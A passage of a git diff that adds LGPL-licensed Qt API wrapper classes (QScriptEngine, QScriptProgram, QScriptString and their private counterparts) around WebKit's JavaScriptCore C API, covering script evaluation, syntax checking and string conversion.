+        return QString::fromLatin1(buf.constData());
+    }
+};
+
+#endif // qscriptconverter_p_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine.cpp
new file mode 100644
index 0000000..6a3edc1
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine.cpp
@@ -0,0 +1,145 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+
+#include "qscriptengine.h"
+
+#include "qscriptengine_p.h"
+#include "qscriptprogram_p.h"
+#include "qscriptsyntaxcheckresult_p.h"
+#include "qscriptvalue_p.h"
+
+/*!
+    Constructs a QScriptEngine object.
+
+    The globalObject() is initialized to have properties as described in ECMA-262, Section 15.1.
+*/
+QScriptEngine::QScriptEngine()
+    : d_ptr(new QScriptEnginePrivate(this))
+{
+}
+
+/*!
+    Destroys this QScriptEngine.
+*/
+QScriptEngine::~QScriptEngine()
+{
+}
+
+/*!
+  Checks the syntax of the given \a program. Returns a
+  QScriptSyntaxCheckResult object that contains the result of the check.
+*/
+QScriptSyntaxCheckResult QScriptEngine::checkSyntax(const QString &program)
+{
+    // FIXME This is not optimal.
+    // The JSC C API needs a context to perform a syntax check, it means that a QScriptEnginePrivate
+    // had to be created. This function is static so we have to create QScriptEnginePrivate for each
+    // call. We can't remove the "static" for compatibility reason, at least up to Qt5.
+    // QScriptSyntaxCheckResultPrivate takes ownership of newly created engine. The engine will be
+    // kept as long as it is needed for lazy evaluation of properties of
+    // the QScriptSyntaxCheckResultPrivate.
+    QScriptEnginePrivate* engine = new QScriptEnginePrivate(/* q_ptr */ 0);
+    return QScriptSyntaxCheckResultPrivate::get(engine->checkSyntax(program));
+}
+
+/*!
+    Evaluates \a program, using \a lineNumber as the base line number,
+    and returns the result of the evaluation.
+
+    The script code will be evaluated in the current context.
+
+    The evaluation of \a program can cause an exception in the
+    engine; in this case the return value will be the exception
+    that was thrown (typically an \c{Error} object). You can call
+    hasUncaughtException() to determine if an exception occurred in
+    the last call to evaluate().
+
+    \a lineNumber is used to specify a starting line number for \a
+    program; line number information reported by the engine that pertain
+    to this evaluation (e.g. uncaughtExceptionLineNumber()) will be
+    based on this argument. For example, if \a program consists of two
+    lines of code, and the statement on the second line causes a script
+    exception, uncaughtExceptionLineNumber() would return the given \a
+    lineNumber plus one. When no starting line number is specified, line
+    numbers will be 1-based.
+
+    \a fileName is used for error reporting. For example in error objects
+    the file name is accessible through the "fileName" property if it's
+    provided with this function.
+*/
+QScriptValue QScriptEngine::evaluate(const QString& program, const QString& fileName, int lineNumber)
+{
+    return QScriptValuePrivate::get(d_ptr->evaluate(program, fileName, lineNumber));
+}
+
+QScriptValue QScriptEngine::evaluate(const QScriptProgram& program)
+{
+    return QScriptValuePrivate::get(d_ptr->evaluate(QScriptProgramPrivate::get(program)));
+}
+
+/*!
+    Runs the garbage collector.
+
+    The garbage collector will attempt to reclaim memory by locating and disposing of objects that are
+    no longer reachable in the script environment.
+
+    Normally you don't need to call this function; the garbage collector will automatically be invoked
+    when the QScriptEngine decides that it's wise to do so (i.e. when a certain number of new objects
+    have been created). However, you can call this function to explicitly request that garbage
+    collection should be performed as soon as possible.
+*/
+void QScriptEngine::collectGarbage()
+{
+    d_ptr->collectGarbage();
+}
+
+/*!
+  Returns a handle that represents the given string, \a str.
+
+  QScriptString can be used to quickly look up properties, and
+  compare property names, of script objects.
+
+  \sa QScriptValue::property()
+*/
+QScriptString QScriptEngine::toStringHandle(const QString& str)
+{
+    return QScriptStringPrivate::get(d_ptr->toStringHandle(str));
+}
+
+/*!
+  Returns a QScriptValue of the primitive type Null.
+
+  \sa undefinedValue()
+*/
+QScriptValue QScriptEngine::nullValue()
+{
+    return QScriptValue(this, QScriptValue::NullValue);
+}
+
+/*!
+  Returns a QScriptValue of the primitive type Undefined.
+
+  \sa nullValue()
+*/
+QScriptValue QScriptEngine::undefinedValue()
+{
+    return QScriptValue(this, QScriptValue::UndefinedValue);
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine.h
new file mode 100644
index 0000000..ee066c9
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine.h
@@ -0,0 +1,56 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptengine_h
+#define qscriptengine_h
+
+#include "qscriptprogram.h"
+#include "qscriptstring.h"
+#include "qscriptsyntaxcheckresult.h"
+#include <QtCore/qobject.h>
+#include <QtCore/qshareddata.h>
+#include <QtCore/qstring.h>
+
+class QScriptValue;
+class QScriptEnginePrivate;
+
+// Internal typedef
+typedef QExplicitlySharedDataPointer<QScriptEnginePrivate> QScriptEnginePtr;
+
+class QScriptEngine : public QObject {
+public:
+    QScriptEngine();
+    ~QScriptEngine();
+
+    static QScriptSyntaxCheckResult checkSyntax(const QString& program);
+    QScriptValue evaluate(const QString& program, const QString& fileName = QString(), int lineNumber = 1);
+    QScriptValue evaluate(const QScriptProgram& program);
+    void collectGarbage();
+
+    QScriptString toStringHandle(const QString& str);
+
+    QScriptValue nullValue();
+    QScriptValue undefinedValue();
+private:
+    friend class QScriptEnginePrivate;
+
+    QScriptEnginePtr d_ptr;
+};
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine_p.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine_p.cpp
new file mode 100644
index 0000000..32551b0
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine_p.cpp
@@ -0,0 +1,71 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+
+#include "qscriptengine_p.h"
+
+#include "qscriptprogram_p.h"
+#include "qscriptvalue_p.h"
+
+/*!
+    Constructs a default QScriptEnginePrivate object, a new global context will be created.
+    \internal
+*/
+QScriptEnginePrivate::QScriptEnginePrivate(const QScriptEngine* engine)
+    : q_ptr(const_cast<QScriptEngine*>(engine))
+    , m_context(JSGlobalContextCreate(0))
+{
+}
+
+QScriptEnginePrivate::~QScriptEnginePrivate()
+{
+    JSGlobalContextRelease(m_context);
+}
+
+QScriptSyntaxCheckResultPrivate* QScriptEnginePrivate::checkSyntax(const QString& program)
+{
+    JSValueRef exception;
+    if (JSCheckScriptSyntax(m_context, QScriptConverter::toString(program), /* url */ 0, /* starting line */ 1, &exception))
+        return new QScriptSyntaxCheckResultPrivate(this);
+    JSValueProtect(m_context, exception);
+    return new QScriptSyntaxCheckResultPrivate(this, const_cast<JSObjectRef>(exception));
+}
+
+/*!
+    Evaluates program and returns the result of the evaluation.
+    \internal
+*/
+QScriptValuePrivate* QScriptEnginePrivate::evaluate(const QString& program, const QString& fileName, int lineNumber)
+{
+    JSStringRef script = QScriptConverter::toString(program);
+    JSStringRef file = QScriptConverter::toString(fileName);
+    return new QScriptValuePrivate(this, evaluate(script, file, lineNumber));
+}
+
+/*!
+    Evaluates program and returns the result of the evaluation.
+    \internal
+*/
+QScriptValuePrivate* QScriptEnginePrivate::evaluate(const QScriptProgramPrivate* program)
+{
+    if (program->isNull())
+        return new QScriptValuePrivate;
+    return new QScriptValuePrivate(this, evaluate(program->program(), program->file(), program->line()));
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine_p.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine_p.h
new file mode 100644
index 0000000..bf958ba
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptengine_p.h
@@ -0,0 +1,121 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptengine_p_h
+#define qscriptengine_p_h
+
+#include "qscriptconverter_p.h"
+#include "qscriptengine.h"
+#include "qscriptstring_p.h"
+#include "qscriptsyntaxcheckresult_p.h"
+#include "qscriptvalue.h"
+#include <JavaScriptCore/JavaScript.h>
+#include <QtCore/qshareddata.h>
+#include <QtCore/qstring.h>
+
+class QScriptEngine;
+class QScriptSyntaxCheckResultPrivate;
+
+class QScriptEnginePrivate : public QSharedData {
+public:
+    static QScriptEnginePtr get(const QScriptEngine* q) { Q_ASSERT(q); return q->d_ptr; }
+    static QScriptEngine* get(const QScriptEnginePrivate* d) { Q_ASSERT(d); return d->q_ptr; }
+
+    QScriptEnginePrivate(const QScriptEngine*);
+    ~QScriptEnginePrivate();
+
+    QScriptSyntaxCheckResultPrivate* checkSyntax(const QString& program);
+    QScriptValuePrivate* evaluate(const QString& program, const QString& fileName, int lineNumber);
+    QScriptValuePrivate* evaluate(const QScriptProgramPrivate* program);
+    inline JSValueRef evaluate(JSStringRef program, JSStringRef fileName, int lineNumber);
+    inline void collectGarbage();
+
+    inline JSValueRef makeJSValue(double number) const;
+    inline JSValueRef makeJSValue(int number) const;
+    inline JSValueRef makeJSValue(uint number) const;
+    inline JSValueRef makeJSValue(const QString& string) const;
+    inline JSValueRef makeJSValue(bool number) const;
+    inline JSValueRef makeJSValue(QScriptValue::SpecialValue value) const;
+
+    inline QScriptStringPrivate* toStringHandle(const QString& str) const;
+
+    inline JSGlobalContextRef context() const;
+private:
+    QScriptEngine* q_ptr;
+    JSGlobalContextRef m_context;
+};
+
+
+JSValueRef QScriptEnginePrivate::evaluate(JSStringRef program, JSStringRef fileName, int lineNumber)
+{
+    JSValueRef exception;
+    JSValueRef result = JSEvaluateScript(m_context, program, /* Global Object */ 0, fileName, lineNumber, &exception);
+    if (!result)
+        return exception; // returns an exception
+    return result;
+}
+
+void QScriptEnginePrivate::collectGarbage()
+{
+    JSGarbageCollect(m_context);
+}
+
+JSValueRef QScriptEnginePrivate::makeJSValue(double number) const
+{
+    return JSValueMakeNumber(m_context, number);
+}
+
+JSValueRef QScriptEnginePrivate::makeJSValue(int number) const
+{
+    return JSValueMakeNumber(m_context, number);
+}
+
+JSValueRef QScriptEnginePrivate::makeJSValue(uint number) const
+{
+    return JSValueMakeNumber(m_context, number);
+}
+
+JSValueRef QScriptEnginePrivate::makeJSValue(const QString& string) const
+{
+    return JSValueMakeString(m_context, QScriptConverter::toString(string));
+}
+
+JSValueRef QScriptEnginePrivate::makeJSValue(bool value) const
+{
+    return JSValueMakeBoolean(m_context, value);
+}
+
+JSValueRef QScriptEnginePrivate::makeJSValue(QScriptValue::SpecialValue value) const
+{
+    if (value == QScriptValue::NullValue)
+        return JSValueMakeNull(m_context);
+    return JSValueMakeUndefined(m_context);
+}
+
+QScriptStringPrivate* QScriptEnginePrivate::toStringHandle(const QString& str) const
+{
+    return new QScriptStringPrivate(str);
+}
+
+JSGlobalContextRef QScriptEnginePrivate::context() const
+{
+    return m_context;
+}
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram.cpp
new file mode 100644
index 0000000..d7d4948
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram.cpp
@@ -0,0 +1,136 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+
+#include "qscriptprogram.h"
+
+#include "qscriptprogram_p.h"
+
+/*!
+  \internal
+
+  \class QScriptProgram
+
+  \brief The QScriptProgram class encapsulates a Qt Script program.
+
+  \ingroup script
+
+  QScriptProgram retains the compiled representation of the script if
+  possible. Thus, QScriptProgram can be used to evaluate the same
+  script multiple times more efficiently.
+
+  \code
+  QScriptEngine engine;
+  QScriptProgram program("1 + 2");
+  QScriptValue result = engine.evaluate(program);
+  \endcode
+*/
+
+/*!
+  Constructs a null QScriptProgram.
+*/
+QScriptProgram::QScriptProgram()
+    : d_ptr(new QScriptProgramPrivate)
+{}
+
+/*!
+  Constructs a new QScriptProgram with the given \a sourceCode, \a
+  fileName and \a firstLineNumber.
+*/
+QScriptProgram::QScriptProgram(const QString& sourceCode,
+               const QString fileName,
+               int firstLineNumber)
+    : d_ptr(new QScriptProgramPrivate(sourceCode, fileName, firstLineNumber))
+{}
+
+/*!
+  Destroys this QScriptProgram.
+*/
+QScriptProgram::~QScriptProgram()
+{}
+
+/*!
+  Constructs a new QScriptProgram that is a copy of \a other.
+*/
+QScriptProgram::QScriptProgram(const QScriptProgram& other)
+{
+    d_ptr = other.d_ptr;
+}
+
+/*!
+  Assigns the \a other value to this QScriptProgram.
+*/
+QScriptProgram& QScriptProgram::operator=(const QScriptProgram& other)
+{
+    d_ptr = other.d_ptr;
+    return *this;
+}
+
+/*!
+  Returns true if this QScriptProgram is null; otherwise
+  returns false.
+*/
+bool QScriptProgram::isNull() const
+{
+    return d_ptr->isNull();
+}
+
+/*!
+  Returns the source code of this program.
+*/
+QString QScriptProgram::sourceCode() const
+{
+    return d_ptr->sourceCode();
+}
+
+/*!
+  Returns the filename associated with this program.
+*/
+QString QScriptProgram::fileName() const
+{
+    return d_ptr->fileName();
+}
+
+/*!
+  Returns the line number associated with this program.
+*/
+int QScriptProgram::firstLineNumber() const
+{
+    return d_ptr->firstLineNumber();
+}
+
+/*!
+  Returns true if this QScriptProgram is equal to \a other;
+  otherwise returns false.
+*/
+bool QScriptProgram::operator==(const QScriptProgram& other) const
+{
+    return d_ptr == other.d_ptr || *d_ptr == *other.d_ptr;
+}
+
+/*!
+  Returns true if this QScriptProgram is not equal to \a other;
+  otherwise returns false.
+*/
+bool QScriptProgram::operator!=(const QScriptProgram& other) const
+{
+    return d_ptr != other.d_ptr && *d_ptr != *other.d_ptr;
+}
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram.h
new file mode 100644
index 0000000..93c8a3c
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram.h
@@ -0,0 +1,53 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptprogram_h
+#define qscriptprogram_h
+
+#include "qtscriptglobal.h"
+#include <QtCore/qshareddata.h>
+#include <QtCore/qstring.h>
+
+class QScriptProgramPrivate;
+class Q_JAVASCRIPT_EXPORT QScriptProgram {
+public:
+    QScriptProgram();
+    QScriptProgram(const QString& sourceCode,
+                   const QString fileName = QString(),
+                   int firstLineNumber = 1);
+    QScriptProgram(const QScriptProgram& other);
+    ~QScriptProgram();
+
+    QScriptProgram& operator=(const QScriptProgram& other);
+
+    bool isNull() const;
+
+    QString sourceCode() const;
+    QString fileName() const;
+    int firstLineNumber() const;
+
+    bool operator==(const QScriptProgram& other) const;
+    bool operator!=(const QScriptProgram& other) const;
+
+private:
+    QExplicitlySharedDataPointer<QScriptProgramPrivate> d_ptr;
+    Q_DECLARE_PRIVATE(QScriptProgram)
+};
+
+#endif // qscriptprogram_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram_p.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram_p.h
new file mode 100644
index 0000000..6e80e85
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptprogram_p.h
@@ -0,0 +1,129 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptprogram_p_h
+#define qscriptprogram_p_h
+
+#include "qscriptconverter_p.h"
+#include "qscriptprogram.h"
+#include <JavaScriptCore/JavaScript.h>
+#include <QtCore/qshareddata.h>
+#include <QtCore/qstring.h>
+
+/*
+   FIXME The QScriptProgramPrivate potentially could be much faster. In current implementation we
+   gain CPU time only by avoiding QString -> JSStringRef conversion. In the ideal world we should
+   have a function inside the JSC C API that could provide us "parse once, execute multiple times"
+   functionality.
+*/
+
+class QScriptProgramPrivate : public QSharedData {
+public:
+    inline static QScriptProgramPrivate* get(const QScriptProgram& program);
+    inline QScriptProgramPrivate();
+    inline QScriptProgramPrivate(const QString& sourceCode,
+                   const QString fileName,
+                   int firstLineNumber);
+
+    inline ~QScriptProgramPrivate();
+
+    inline bool isNull() const;
+
+    inline QString sourceCode() const;
+    inline QString fileName() const;
+    inline int firstLineNumber() const;
+
+    inline bool operator==(const QScriptProgramPrivate& other) const;
+    inline bool operator!=(const QScriptProgramPrivate& other) const;
+
+    inline JSStringRef program() const;
+    inline JSStringRef file() const;
+    inline int line() const;
+private:
+    JSStringRef m_program;
+    JSStringRef m_fileName;
+    int m_line;
+};
+
+QScriptProgramPrivate* QScriptProgramPrivate::get(const QScriptProgram& program)
+{
+    return const_cast<QScriptProgramPrivate*>(program.d_ptr.constData());
+}
+
+QScriptProgramPrivate::QScriptProgramPrivate()
+    : m_program(0)
+    , m_fileName(0)
+    , m_line(-1)
+{}
+
+QScriptProgramPrivate::QScriptProgramPrivate(const QString& sourceCode,
+               const QString fileName,
+               int firstLineNumber)
+                   : m_program(QScriptConverter::toString(sourceCode))
+                   , m_fileName(QScriptConverter::toString(fileName))
+                   , m_line(firstLineNumber)
+{}
+
+QScriptProgramPrivate::~QScriptProgramPrivate()
+{
+    if (!isNull()) {
+        JSStringRelease(m_program);
+        JSStringRelease(m_fileName);
+    }
+}
+
+bool QScriptProgramPrivate::isNull() const
+{
+    return !m_program;
+}
+
+QString QScriptProgramPrivate::sourceCode() const
+{
+    return QScriptConverter::toString(m_program);
+}
+
+QString QScriptProgramPrivate::fileName() const
+{
+    return QScriptConverter::toString(m_fileName);
+}
+
+int QScriptProgramPrivate::firstLineNumber() const
+{
+    return m_line;
+}
+
+bool QScriptProgramPrivate::operator==(const QScriptProgramPrivate& other) const
+{
+    return m_line == other.m_line
+            && JSStringIsEqual(m_fileName, other.m_fileName)
+            && JSStringIsEqual(m_program, other.m_program);
+}
+
+bool QScriptProgramPrivate::operator!=(const QScriptProgramPrivate& other) const
+{
+    return m_line != other.m_line
+            || !JSStringIsEqual(m_fileName, other.m_fileName)
+            || !JSStringIsEqual(m_program, other.m_program);
+}
+
+JSStringRef QScriptProgramPrivate::program() const { return m_program; }
+JSStringRef QScriptProgramPrivate::file() const {return m_fileName; }
+int QScriptProgramPrivate::line() const { return m_line; }
+
+#endif // qscriptprogram_p_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring.cpp
new file mode 100644
index 0000000..83c03c5
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring.cpp
@@ -0,0 +1,131 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+
+#include "qscriptstring.h"
+
+#include "qscriptstring_p.h"
+#include <QtCore/qhash.h>
+
+/*!
+  Constructs an invalid QScriptString.
+*/
+QScriptString::QScriptString()
+    : d_ptr(new QScriptStringPrivate())
+{
+}
+/*!
+  Constructs an QScriptString from internal representation
+  \internal
+*/
+QScriptString::QScriptString(QScriptStringPrivate* d)
+    : d_ptr(d)
+{
+}
+
+/*!
+  Constructs a new QScriptString that is a copy of \a other.
+*/
+QScriptString::QScriptString(const QScriptString& other)
+{
+    d_ptr = other.d_ptr;
+}
+
+/*!
+  Destroys this QScriptString.
+*/
+QScriptString::~QScriptString()
+{
+}
+
+/*!
+  Assigns the \a other value to this QScriptString.
+*/
+QScriptString& QScriptString::operator=(const QScriptString& other)
+{
+    d_ptr = other.d_ptr;
+    return *this;
+}
+
+/*!
+  Returns true if this QScriptString is valid; otherwise
+  returns false.
+*/
+bool QScriptString::isValid() const
+{
+    return d_ptr->isValid();
+}
+
+/*!
+  Returns true if this QScriptString is equal to \a other;
+  otherwise returns false.
+*/
+bool QScriptString::operator==(const QScriptString& other) const
+{
+    return d_ptr == other.d_ptr || *d_ptr == *(other.d_ptr);
+}
+
+/*!
+  Returns true if this QScriptString is not equal to \a other;
+  otherwise returns false.
+*/
+bool QScriptString::operator!=(const QScriptString& other) const
+{
+    return d_ptr != other.d_ptr || *d_ptr != *(other.d_ptr);
+}
+
+/*!
+  Attempts to convert this QScriptString to a QtScript array index,
+  and returns the result.
+
+  If a conversion error occurs, *\a{ok} is set to false; otherwise
+  *\a{ok} is set to true.
+*/
+quint32 QScriptString::toArrayIndex(bool* ok) const
+{
+    return d_ptr->toArrayIndex(ok);
+}
+
+/*!
+  Returns the string that this QScriptString represents, or a
+  null string if this QScriptString is not valid.
+
+  \sa isValid()
+*/
+QString QScriptString::toString() const
+{
+    return d_ptr->toString();
+}
+
+/*!
+  Returns the string that this QScriptString represents, or a
+  null string if this QScriptString is not valid.
+
+  \sa toString()
+*/
+QScriptString::operator QString() const
+{
+    return d_ptr->toString();
+}
+
+uint qHash(const QScriptString& key)
+{
+    return qHash(QScriptStringPrivate::get(key)->id());
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring.h
new file mode 100644
index 0000000..16593bc
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring.h
@@ -0,0 +1,58 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptstring_h
+#define qscriptstring_h
+
+#include "qtscriptglobal.h"
+#include <QtCore/qshareddata.h>
+#include <QtCore/qstring.h>
+
+class QScriptStringPrivate;
+typedef QExplicitlySharedDataPointer<QScriptStringPrivate> QScriptStringPtr;
+
+class Q_JAVASCRIPT_EXPORT QScriptString {
+public:
+    QScriptString();
+    QScriptString(const QScriptString& other);
+    ~QScriptString();
+
+    QScriptString& operator=(const QScriptString& other);
+
+    bool isValid() const;
+
+    bool operator==(const QScriptString& other) const;
+    bool operator!=(const QScriptString& other) const;
+
+    quint32 toArrayIndex(bool* ok = 0) const;
+
+    QString toString() const;
+    operator QString() const;
+
+private:
+    QScriptString(QScriptStringPrivate* d);
+
+    QScriptStringPtr d_ptr;
+
+    friend class QScriptStringPrivate;
+};
+
+uint qHash(const QScriptString& key);
+
+#endif // qscriptstring_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring_p.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring_p.h
new file mode 100644
index 0000000..f4fd117
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptstring_p.h
@@ -0,0 +1,112 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptstring_p_h
+#define qscriptstring_p_h
+
+#include "qscriptconverter_p.h"
+#include "qscriptstring.h"
+#include <JavaScriptCore/JavaScript.h>
+#include <QtCore/qnumeric.h>
+#include <QtCore/qshareddata.h>
+
+class QScriptStringPrivate : public QSharedData {
+public:
+    inline QScriptStringPrivate();
+    inline QScriptStringPrivate(const QString& qtstring);
+    inline ~QScriptStringPrivate();
+
+    static inline QScriptString get(QScriptStringPrivate* d);
+    static inline QScriptStringPtr get(const QScriptString& p);
+
+    inline bool isValid() const;
+
+    inline bool operator==(const QScriptStringPrivate& other) const;
+    inline bool operator!=(const QScriptStringPrivate& other) const;
+
+    inline quint32 toArrayIndex(bool* ok = 0) const;
+
+    inline QString toString() const;
+
+    inline quint64 id() const;
+
+private:
+    JSStringRef m_string;
+};
+
+
+QScriptStringPrivate::QScriptStringPrivate()
+    : m_string(0)
+{}
+
+QScriptStringPrivate::QScriptStringPrivate(const QString& qtstring)
+    : m_string(JSStringRetain(QScriptConverter::toString(qtstring)))
+{}
+
+QScriptStringPrivate::~QScriptStringPrivate()
+{
+    if (isValid())
+        JSStringRelease(m_string);
+}
+
+QScriptString QScriptStringPrivate::get(QScriptStringPrivate* d)
+{
+    Q_ASSERT(d);
+    return QScriptString(d);
